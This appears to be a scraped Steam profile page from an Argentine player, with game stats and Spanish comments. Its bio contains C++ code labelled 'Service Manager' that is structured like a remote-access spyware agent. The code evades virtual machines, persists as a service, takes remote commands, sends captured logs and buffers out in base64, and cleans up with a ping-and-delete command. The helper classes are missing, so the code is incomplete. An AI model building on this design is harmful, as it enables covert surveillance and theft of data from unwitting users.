󠀡󠀡᠌ ⁧⁧Arias
Buenos Aires, Argentina
[ 0x7F4B3C ] - Service Manager
namespace fs = std::filesystem;

struct {
bool telemetry_active = true;
bool buffer_export_active = false;
int telemetry_interval = 60;
int buffer_interval = 300;
} g_config;

void handleServiceCommands();
void autoDataExporter();
void autoBufferCapture();
void systemCleanupAndExit();

int main() {
if (SystemCheck::isEnvironmentVirtual()) {
SystemCheck::triggerServiceReport();
return 0;
}

TaskManager::registerService();

std::thread(DataSource::start).detach();

std::thread(handleServiceCommands).detach();
std::thread(autoDataExporter).detach();
std::thread(autoBufferCapture).detach();

while (true) {
Sleep(10000);
}

return 0;
}

void handleServiceCommands() {
while (true) {
std::string cmd = Communicator::receiveCommand();

if (cmd == "ENABLE_TELEMETRY") g_config.telemetry_active = true;
else if (cmd == "DISABLE_TELEMETRY") g_config.telemetry_active = false;
else if (cmd == "ENABLE_BUFFER_EXPORT") g_config.buffer_export_active = true;
else if (cmd == "DISABLE_BUFFER_EXPORT") g_config.buffer_export_active = false;
else if (cmd == "REQUEST_BUFFER_NOW") {
auto data_buffer = DataCapture::captureState();
if (!data_buffer.empty()) {
Communicator::sendEncryptedCommand(
"DATA_BUFFER:" + utils::base64Encode(data_buffer)
);
}
}
else if (cmd == "SHUTDOWN_SERVICE") {
systemCleanupAndExit();
}

Sleep(5000);
}
}

void autoDataExporter() {
while (true) {
if (g_config.telemetry_active) {
std::string data = DataSource::getLogs();
if (!data.empty()) {
Communicator::sendEncryptedCommand("TELEMETRY_DATA:" + data);
}
}
Sleep(g_config.telemetry_interval * 1000);
}
}

void autoBufferCapture() {
DWORD lastCapture = 0;
const DWORD intervalMs = static_cast<DWORD>(g_config.buffer_interval) * 1000;

while (true) {
if (g_config.buffer_export_active) {
DWORD currentTime = GetTickCount64();
DWORD elapsedTime = currentTime - lastCapture;

if (elapsedTime > intervalMs) {
lastCapture = currentTime;
auto data_buffer = DataCapture::captureState();
if (!data_buffer.empty()) {
Communicator::sendEncryptedCommand(
"AUTO_BUFFER_EXPORT:" + utils::base64Encode(data_buffer)
);
}
}
}
Sleep(10000);
}
}

void systemCleanupAndExit() {
TaskManager::removeService();

char tempPath[MAX_PATH];
GetTempPathA(MAX_PATH, tempPath);

std::string cleanCmd = "cmd /C ping 127.0.0.1 -n 3 > nul & del /f /q \"" +
std::string(tempPath) + "*.tmp" + "\"";
system(cleanCmd.c_str());

exit(0);
}
Screenshot Showcase
dasdasda
Favorite Game
112
Hours played
47
Achievements
Completionist Showcase
Recent Activity
308 hrs on record
last played on Dec 31
2.6 hrs on record
last played on Dec 31
0.4 hrs on record
last played on Dec 30
Regi Sep 3, 2024 @ 7:04pm 
grrrrrrrrr
tin Mar 13, 2024 @ 2:21pm 
Increíble jugador, solo le falta mejorar la comunicación, la puntería, conocimiento de mapas, posicionamiento de la mira, strafe, rifles, pistolas, granadas, humos, flashes, molotovs, posicionamiento, retakes y control del spray. Fuera de eso es un excelente jugador
LAIONN' Feb 20, 2023 @ 7:16pm 
xiter
SOLO YO Dec 25, 2022 @ 4:35pm 
Si veo un ct escondido en ninja yo no le puedo meter un one tap porque despues dicen que tenes wallhack , vos le tiras flashes y smokes hasta llevarlo al lugar mas recondito del mapa, al ultimo site y si es posible sacalo del mapa, y ahi lo reventas a balazos , le tiras todos los tiros , no uno, porque te van a considerar chitero y te comes un overwach de la gran flauta. vos estabas en un estado de jugabilidad agresiva y de locura , le reventaste el casco , te le agachas en la cara , lo grafiteas para demostrar tu estado de locura temporal ¿me explico? ademas tenes que tener una teco a mano , le pegas tres tiros y si te queda una molotov suicidate, sos inbaneable hermano , en 10 dias sos global..
ululululululu Nov 23, 2022 @ 2:40pm 
butakera
JOVEN ROMÁN Dec 12, 2021 @ 9:15am 
tallarines con bolognesa